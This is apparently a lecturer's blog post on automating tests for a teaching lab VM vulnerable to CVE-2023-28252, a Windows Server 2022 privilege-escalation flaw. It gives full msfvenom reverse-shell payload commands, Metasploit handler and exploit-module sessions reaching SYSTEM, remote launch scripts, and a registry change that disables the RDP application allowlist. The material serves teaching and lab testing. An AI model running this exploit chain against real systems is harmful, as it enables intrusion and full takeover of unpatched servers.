Automating the Testing of CVE-2023-28252

Published:

In the Lancaster MSc Cyber Security course, I teach our module on penetration testing. For our labs and assessments this involves developing a number of vulnerable virtual machines that students have access to in a restricted environment. To give confidence that the vulnerabilities can be exploited by students in the labs, lots of time has been devoted to develop tests for these vulnerable machines and the automation of these tests. During the testing of a lab machine involving CVE-2023-28252 which will target a Windows 2022 server, there were challenges getting the automated test to pass while manual testing was able to exploit the vulnerability successfully.

Building the Payload

The payload was built with msfvenom and deployed via an HTTP server.

┌──(kali㉿kali)-[~]
└─
$ msfvenom --payload windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.216 LPORT=4444 --arch x64 --platform windows --format exe --out reverse_tcp.exe
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: reverse_tcp.exe

┌──(kali㉿kali)-[~]
└─
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.1.173 - - [10/May/2024 14:22:29] "GET / HTTP/1.1" 200 -
192.168.1.173 - - [10/May/2024 14:22:29] code 404, message File not found
192.168.1.173 - - [10/May/2024 14:22:29] "GET /favicon.ico HTTP/1.1" 404 -
192.168.1.173 - - [10/May/2024 14:22:33] "GET /reverse_tcp.exe HTTP/1.1" 200 -

Expected Outcome

The expected output would look like this:

┌──(kali㉿kali)-[~]
└─
$ msfconsole
Metasploit tip: Metasploit can be configured at startup, see msfconsole
--help to learn more


. .
.

dBBBBBBb dBBBP dBBBBBBP dBBBBBb . o
' dB' BBP
dB'dB'dB' dBBP dBP dBP BB
dB'dB'dB' dBP dBP dBP BB
dB'dB'dB' dBBBBP dBP dBBBBBBB

dBBBBBP dBBBBBb dBP dBBBBP dBP dBBBBBBP
. . dB' dBP dB'.BP
| dBP dBBBB' dBP dB'.BP dBP dBP
--o-- dBP dBP dBP dB'.BP dBP dBP
| dBBBBP dBP dBBBBP dBBBBP dBP dBP

.
.
o
To boldly go where no
shell has gone before


=[ metasploit v6.3.55-dev ]
+ -- --=[ 2397 exploits - 1235 auxiliary - 422 post ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(
multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(
multi/handler) > set LHOST 192.168.1.216
LHOST => 192.168.1.216
msf6 exploit(
multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(
multi/handler) > run

[*] Started reverse TCP handler on 192.168.1.216:4444
[*] Sending stage (201798 bytes) to 192.168.1.173
[*] Meterpreter session 1 opened (192.168.1.216:4444 -> 192.168.1.173:51892) at 2024-05-10 14:28:19 +0100

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(
multi/handler) > use windows/local/cve_2023_28252_clfs_driver
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(
windows/local/cve_2023_28252_clfs_driver) > set SESSION 1
SESSION => 1
msf6 exploit(
windows/local/cve_2023_28252_clfs_driver) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(
windows/local/cve_2023_28252_clfs_driver) > set LHOST 192.168.1.216
LHOST => 192.168.1.216
msf6 exploit(
windows/local/cve_2023_28252_clfs_driver) > set LPORT 5555
LPORT => 5555
msf6 exploit(
windows/local/cve_2023_28252_clfs_driver) > run verbose=true

[*] Started reverse TCP handler on 192.168.1.216:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is running windows version: 10.0.20348.0 which has a vulnerable version of clfs.sys installed by default
[*] Launching msiexec to host the DLL...
[+] Process 3728 launched.
[*] Reflectively injecting the DLL into 3728...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (201798 bytes) to 192.168.1.173
[*] Meterpreter session 2 opened (192.168.1.216:5555 -> 192.168.1.173:51893) at 2024-05-10 14:28:50 +0100

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Actual Outcome

Instead, I received an output similar to the following, which indicated that the exploit failed.

[*] Started reverse TCP handler on 192.168.1.216:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is running windows version: 10.0.20348.0 which has a vulnerable version of clfs.sys installed by default
[*] Launching netsh to host the DLL...
[+] Process 4896 launched.
[*] Reflectively injecting the DLL into 4896...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Exploit completed, but no session was created.
msf6 exploit(
windows/local/cve_2023_28252_clfs_driver) >

Testing Framework

In my framework for building, testing and deploying vulnerable machines, I use WinRM (via pypsrp to remotely access and configure Windows machines. This allows me the ability to execute PowerShell commands on the Windows machines. So in this instance, it would let me launch the reverse_tcp.exe payload on the Windows machine to set up a reverse shell with Metasploit.

USERNAME = "..."
PASSWORD = "..."
async with WinRMSession(ipaddr, username=USERNAME, password=PASSWORD) as sess:
    await sess.run(f'Start-Process -FilePath "C:\\Users\\{USERNAME}\\Documents\\reverse_tcp.exe"')

However, when doing so this consistently failed, even though I could successfully test the exploit when manually executing it.

To eliminate Start-Process as a potential cause of the issue, I looked for alternate ways to launch reverse_tcp.exe. One approach that I tried was to use verbs from Explorer to run the process. I was familiar with this approach as I had used them to implement ejecting media in Bento. A Microsoft devblog by Ed Wilson was useful in getting the Open verb to work. However, this still led to the same issue.

async with WinRMSession(ipaddr, username=USERNAME, password=PASSWORD) as sess:
    await sess.run(f'(New-Object -com Shell.Application).Namespace("C:\\Users\\{USERNAME}\\Documents").ParseName("reverse_tcp.exe").InvokeVerb("Open")')

I wanted to check that WinRM wasn’t the cause of the issue, so replaced the code to execute reverse_tcp.exe with the following and manually ran reverse_tcp.exe when the test paused. This worked, meaning that the cause of my issue was related to either connecting via WinRM or how process are launched via WinRM and how this interacts with the exploit.

input()

Unfortunately, always having a manual input here is not acceptable, as this prevents the test suite from automatically checking this exploit path.

One of the other services that the Windows 2022 server runs is RDP. StackOverflow was useful here as it indicated that applications can be run over RDP with an appropriate configuration. All that was needed was to disable checking the list of allowed applications. Not a sensible idea for a secure system, but not harmful in the context of developing a vulnerable machine for students to attack.

# Disable allowlist for using RDP to run programs
# See: https://learn.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-terminalservices-publishing-wmiprovider-fdisabledallowlist
Set-ItemProperty `
    -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\TSAppAllowList" `
    -Name "fDisabledAllowList" `
    -Value 1

A final challenge is that RDP was not happy that it was being run remotely over an SSH terminal.

┌──(kali㉿kali)-[~]
└─
$ xfreerdp /u:User /p:Password /v:192.168.1.87 /app:'C:\\Users\\User\\Documents\\reverse_tcp.exe'
[14:47:13:654] [1692:1692] [ERROR][com.freerdp.client.x11] - failed to open display:
[14:47:13:654] [1692:1692] [ERROR][com.freerdp.client.x11] - Please check that the $DISPLAY environment variable is properly set.

So instead of running xfreerdp via the terminal directly, the code first creates a virtual framebuffer with xvfb-run. This allows the reverse_tcp.exe to be executed and in such a way that allows the exploit to be successful.

rdp_command = f"xvfb-run -a xfreerdp /u:{USERNAME} /p:{PASSWORD} /v:{ipaddr} /app:'C:\\Users\\{USERNAME}\\Documents\\reverse_tcp.exe'"
rdp_proc = await conn.create_process(rdp_command, stderr=asyncssh.STDOUT, encoding="utf-8")

Conclusions

It is still unclear to me why using a WinRM-based approach to launch reverse_tcp.exe did not work, especially as in other test cases for different vulnerabilities it has worked successfully. It would be interesting to investigate exactly why launching via WinRM prevented the exploit from being successful. However, the RDP approach does work and tests a slightly more realistic approach, as the students would likely use RDP to launch reverse_tcp.exe via a graphical interface.

Please note that this vulnerability was patched on the 11th of April 2023 with Windows Server 2022 10.0.20348.1668, such systems still running a vulnerable version should be updated immediately.